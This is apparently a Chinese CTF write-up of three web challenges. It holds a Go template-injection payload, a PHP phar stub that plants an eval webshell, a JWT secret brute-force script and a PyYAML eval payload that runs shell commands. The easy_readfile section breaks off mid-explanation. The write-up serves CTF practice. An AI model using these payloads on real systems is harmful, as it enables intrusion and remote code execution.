ssti

经过测试发现是go的模版注入

于是使用{{.}}获取上下文,在返回的结果中发现两个函数exec B64Decode。可能是想让我们用exec执行代码

exec处有waf,使用B64Decode进行绕过

最终payload

1
2
3
{{$encoded := "Y2F0IC9mbGFn"}}
{{$decoded := B64Decode $encoded}}
{{exec $decoded}}

easy_readfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class Coral{
public $pivot;

public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}

class Nimbus{
public $handle;
public $ctor;

public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}

class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}

class Acheron {
public $mode;

public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

if(strlen($_POST[1]) < 52) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

?>

php代码审计,刚开始看的时候想到的是phar文件,然后利用反序列化。但发现漏洞函数include是文件包含,可以直接进行上传木马的操作。于是让ai构造phar文件

1
2
3
4
5
$phar = new Phar("poc.phar");
$phar->startBuffering();
$phar->setStub('<?php file_put_contents("/var/www/html/shell2.php", "<?php eval(\$_POST[3]);?>");__HALT_COMPILER(); ?>'); // 必须的文件头
$phar->addFromString("test.txt", "123");
$phar->stopBuffering();

根据网上找到的资料,将得到的poc.phar进行gzip压缩,目的是绕过waf。

用蚁剑连上木马。找到根目录下有flag文件,发现没有权限读取。

尝试使用suid提权发现没有可利用的suid文件,cp拷贝/etc/passwd或cp/flag出来也都没用

于是尝试符号链接绕过的方式。在根目录下的start.sh文件下发现以下内容

ez_python

首先dirsearch扫描到有auth这个接口,猜测应该是验证权限的api。

1
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"}

token是jwt的形式。尝试修改一下jwt

1
2
3
4
{
"username": "admin",
"role": "admin"
}

但是重新提交发现不对,但返回结果中提供了密钥(最后两个不知道)。于是让ai写个python脚本爆破密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import jwt
import itertools
import string

# 你的JWT字符串
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 已知的密钥开头
known_key_start = "@o70xO$0%#qR9#"

# 生成所有两位字母数字组合(a-z, A-Z, 0-9)
alphanumeric_chars = string.ascii_letters + string.digits
possible_suffixes = [''.join(comb) for comb in itertools.product(alphanumeric_chars, repeat=2)]

print(f"开始暴力破解,共 {len(possible_suffixes)} 种可能...")

# 遍历所有可能的密钥
for suffix in possible_suffixes:
full_key = known_key_start + suffix
try:
# 尝试用当前密钥解码验证JWT
# 使用 HS256 算法,这是JWT头里指定的 (alg: HS256)
decoded_payload = jwt.decode(jwt_token, full_key, algorithms=["HS256"])
# 如果上一行没有抛出异常,说明验证成功!
print(f"\n✅ 成功找到有效密钥!")
print(f"密钥: '{full_key}'")
print(f"Payload 内容: {decoded_payload}")
break # 找到后退出循环
except jwt.InvalidSignatureError:
# 签名错误,继续尝试下一个
# 静默失败,不打印任何东西,否则输出太多
pass
except Exception as e:
# 其他异常(如Token过期等),但签名是正确的!
# 这意味着我们找到了正确的密钥,但Token本身可能还有其他问题
print(f"\n⚠️ 找到可能有效的密钥,但遇到其他问题: {e}")
print(f"密钥: '{full_key}'")
# 如果你仍然想把它当作成功案例,可以在这里 break
break

print("遍历结束。")

爆破出密钥后,进行文件上传。首先在提交python代码先使用报错注入看一下情况

1
raise Exception()

是在沙盒中进行的,而且黑名单过滤了很多。于是转向yaml文件上传处,让ai写一个有pyyaml漏洞的yaml文件

1
2
!!python/object/apply:eval
- "__import__('os').popen('cat /f1111ag').read()"

放入bp中提交就可以得出flag